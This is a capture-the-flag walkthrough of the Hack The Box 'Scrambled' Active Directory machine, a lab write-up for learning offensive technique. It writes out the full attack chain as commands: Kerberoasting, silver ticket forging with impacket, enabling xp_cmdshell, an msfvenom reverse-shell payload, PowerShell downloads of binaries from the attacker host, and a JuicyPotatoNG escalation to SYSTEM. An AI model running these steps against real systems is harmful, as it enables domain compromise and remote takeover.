HTB: Scrambled Walkthrough

rootsecdev
9 min readOct 14, 2022

I really enjoyed working on this active directory box as hacking an AD environment with NTLM authentication turned off gives a unique perspective of learning how to troubleshoot native default tools on kali linux. It also gets you more comfortable with impacket usage and how to query ldap with certificates. Finally, you can get full system shell by performing a Silver Ticket attack, logging into a SQL server from the forged ticket, and performing a potato attack to leverage SeImpersonate privileges. This was a super cool box to work with.

Recon

Running a nmap scan reveals that we are indeed working with an active directory box.

nmap -Pn -sC -sV -p- -oA scrambled -v 10.129.44.90

Figure — 1 NMAP Scan Summary

Digging into the details of the scan we have two critical pieces of information that will need to be populated into the /etc/hosts file

Figure 2 — LDAP Enumeration from NMAP Scan

Populate both scrm.local and dc1.scrm.local to your /etc/hosts file. You IP address on the box may vary depending if you are a premium HTB subscriber.

Figure 3 — /etc/host Modification

Next we start browsing what is stored on port 80 as it will probably leave some clues to where to go next. The support page lets us know that all NTLM authentication has been disabled.

Figure 4 — NTLM Disable Notification

The password reset page informs us that if a password reset is requested it will be the same as the user name.

Figure 5 — Password Reset Information

On the support request site we get some possible username disclosure from the screenshot on the website.

Figure 6 — Internal Account Naming Convention Disclosure

Since a username was found and port 445 was open during the initial nmap scan, you can use impacket’s smbclient with the -k option to use kerberos. This will help validate if you have a valid username and password pair. Since public shares can be browsed with the valid credential you can pull down the Network Security Changes.pdf file to view its contents.

Figure 7 — Grabbing Documents from Public Shares

The pdf document reveals some crucial changes in the network environment. Mainly NTLM relaying is shut off and there may be the presence of a SQL server running in the environment.

Figure 8 — Network Security Document

Since a SQL service may exist and we have a valid user name credential you can attempt to kerberoast the network with impacket. This is where some troubleshooting may be involved depending on what you are trying to hack this box with. If you are running Kali linux, there is a good change you will run into this issue.

Figure 9 — Issue Kerberoasting with Impacket on Kali Linux

If you encounter this issue. There is an easy fix. It took a little bit of troubleshooting on my part because the forums around this and solution did not work for me. So here is what I ended up doing to get around this issue so I could Kerberoast the network.

Grab the latest GetUserSPNs.py file from the github repository.

https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/GetUserSPNs.py

Once you have it you will first have to get a TGT from the ksimpson account and export it so we can use it with other impacket tools.

Figure 10 — Get TGT for ksimpson

Once we have the TGT you can kerberoast the network without issue from the updated GetUserSPNs.py file.

python3 GetUserSPNs.py scrm.local/ksimpson -dc-host dc1.scrm.local -k -request -no-pass

Figure 11 — Kerberoasting with Impacket

Now its time to crack the kerberos hash in true CTF fashion. It’s about the only time I use john the ripper. You can use the rockyou.txt password list built into kali linux and easily crack the kerberos hash. The password has been redacted. Its good experience to try this on your own and crack the hash.

Figure 12 — Cracking SQL Service account

Now the fun part. Silver ticket attacks. We will need a few pieces of information to perform this attack and impersonate an administrator so we can get into the SQL database. I had alot of trial and error and I wanted to extract this information in the least painful way possible. First a reference for silver ticket attacks.

To get the NTLM hash of the SQL Service account I suggest using Rubeus. It’s easy to get the hash with it and you can do it offline without connecting to the HTB network.

Figure 13 — Generating NTLM Hash with Rubeus

Now that we have a calculated hash we need to connect to LDAP over kerberos to retrieve the domain sid.

First, connect to the domain controller on port 636 using open ssl to retrieve the certificate.

openssl s_client -connect dc1.scrm.local:636

Figure 14 — Domain Controller Certificate

You can copy the above output and save it into a pem file. I called mine ldap_certificate.pem. Next you will need to modify your ldap.conf file in /etc/ldap/ and point it to the pem file you created.

Figure 15 — Modifying ldap.conf

Once this is done you should be able to query ldap without issue with the following command and pull all accounts:

ldapsearch -H ldap://dc1.scrm.local -Z -D ksimpson@scrm.local -w ksimpson -b “DC=scrm,DC=local” “(objectClass=user)”

Figure 16 — LDAP User Extraction

In the above figure I highlighted the object sid. This is an obvious problem because you will need the domain sid in string form. During my google search I ran across this article with this exact problem using ldapsearch. It also contains a handy shell script for the conversion. I’ve placed the output of the shell script below along with populating the object id with the objectsid ouput that was retrieved during the ldap search.

#!/bin/bash# Base-64 encoded objectSid
OBJECT_ID="AQUAAAAAAAUVAAAAhQSCo0F98mxA04uXUwYAAA=="
# Decode it, hex-dump it and store it in an array
G=($(echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 " %02X"'))
# SID in HEX
# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
# LESA = Little Endian Sub Authority
# BESA = Big Endian Sub Authority
# LERID = Little Endian Relative ID
# BERID = Big Endian Relative ID
BESA2=${G[8]}${G[9]}${G[10]}${G[11]}
BESA3=${G[12]}${G[13]}${G[14]}${G[15]}
BESA4=${G[16]}${G[17]}${G[18]}${G[19]}
BESA5=${G[20]}${G[21]}${G[22]}${G[23]}
BERID=${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
LESA1=${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}
LESA2=${BESA2:6:2}${BESA2:4:2}${BESA2:2:2}${BESA2:0:2}
LESA3=${BESA3:6:2}${BESA3:4:2}${BESA3:2:2}${BESA3:0:2}
LESA4=${BESA4:6:2}${BESA4:4:2}${BESA4:2:2}${BESA4:0:2}
LESA5=${BESA5:6:2}${BESA5:4:2}${BESA5:2:2}${BESA5:0:2}
LERID=${BERID:6:2}${BERID:4:2}${BERID:2:2}${BERID:0:2}
LE_SID_HEX=${LESA1}-${LESA2}-${LESA3}-${LESA4}-${LESA5}-${LERID}# Initial SID value which is used to construct actual SID
SID="S-1"
# Convert LE_SID_HEX to decimal values and append it to SID as a string
IFS='-' read -ra ADDR <<< "${LE_SID_HEX}"
for OBJECT in "${ADDR[@]}"; do
SID=${SID}-$((16#${OBJECT}))
done
echo ${SID}

If you need to look at further examples of ldap queries this is a really good article on search queries.

https://devconnected.com/how-to-search-ldap-using-ldapsearch-examples/

Finally when running the shell script it produces the correct object sid:

Figure 18 — Domain SID

I wanted to show the ldap method with kerberos only and getting the SID as you get both all the accounts that are populated within the domain controller and you learn a really cool method of getting the domain sid.

An alternative way to get this info is the getPac.py script from impacket.

impacket-getPac -targetUser administrator scrm.local/ksimpson:ksimpson

Figure 18 — Domain SID from getPac.py

Now we can piece together the information from figures 13 (nthash), figure 18 (domain sid) and figure 11 (spn). Also we want to impersonate the Administrator account with this silver ticket. We can construct it by doing the following(NT hash is redacted):

impacket-ticketer -nthash <redacted> -domain-sid S-1–5–21–2743207045–1827831105–2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 administrator

Figure 19 — Forging Silver Ticket

Now that we have our silver ticket we can export the ticket into our terminal session and use impacket’s mssqlclient to log into the SQL server on our target box.

Figure 20 — SQL Server Login with Silver Ticket

Exploitation: XP Command Shell

Since SQL Server administrative access has been obtained the following procedure will be used to allow xp_cmdshell usage. This should allow us to execute code on the server. The goal here is to harness the privileges the SQL Service is running as (usually allows impersonate privileges) and perform a potato attack to receive a reverse shell with SYSTEM privileges.

First a reference for enabling xp_cmdshell on a SQL server. It is usually best practice to not enable this service.

-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1;
GO
-- To update the currently configured value for this feature.
RECONFIGURE;
GO

After enabling command shell and issuing whoami command we verify that the sql service is just running as scrm\sqlsvc

Figure 21 — XP Command Shell Usage

Running a whoami /priv command shows us that we do have SeImpersonatePrivilege. Since we have those privileges we can run a potato attack against the sql server and should be able to obtain access as SYSTEM.

Figure 22 — Privileges Check

A few things we will need for this attack.

  1. JuicyPotatoNG

2. An msfvenom payload to execute a reverse shell

msfvenom -p windows/x64/shell/reverse_tcp LHOST=<your ip here> LPORT=4444 -f exe > reverse.exe

3. Make a file called rev.bat with the following in it(no, not a typo below):

c:\\programdata\\reverse.exe

4. Run multi/handler listening on port 4444

Figure 23 — Multi/Handler Setup

Once all this is set you can start transferring files over to the target computer. For transferring files I used powershell curl which is just an alias for Invoke-WebRequest

First setup a simple python webserver running on port 80. You will see below I have already ran my curl requests from inside the SQL server.

Figure 24 — Simple Python WebServer

Run the following commands to copy the following binaries to the target machine. In this instance we will be copying the files to the c:\programdata directory. You will see extra \\ and no it’s not a typo.

xp_cmdshell powershell curl <your ip here>/reverse.exe -outfile C:\\programdata\\reverse.exexp_cmdshell powershell curl <your ip here>/rev.bat -outfile C:\\programdata\\rev.batxp_cmdshell powershell curl <your ip here>/JuicyPotatoNG.exe -outfile C:\\programdata\\jp.exe
Figure 25 — Transferring files from Linux Host to Windows Host Through SQL Server

Next verify the files are present in the target directory by running the following command:

xp_cmdshell dir c:\programdata
Figure 26 — File Transfer Verfication

Type the following to exploit the SeImpersonate privileges with juicy potato.

xp_cmdshell C:\\programdata\\jp.exe -t * -p C:\\programdata\\rev.bat

The nice thing about this newer version of juicy potato is it automatically chooses the CLSID to exploit. If you need a listing of CSLID’s I frequently reference the following site:

Figure 27 — Juicy Potato Exploit

At this point you should receive a reverse shell and have system privileges.

Figure 28 — Reverse Handler Callback

--

--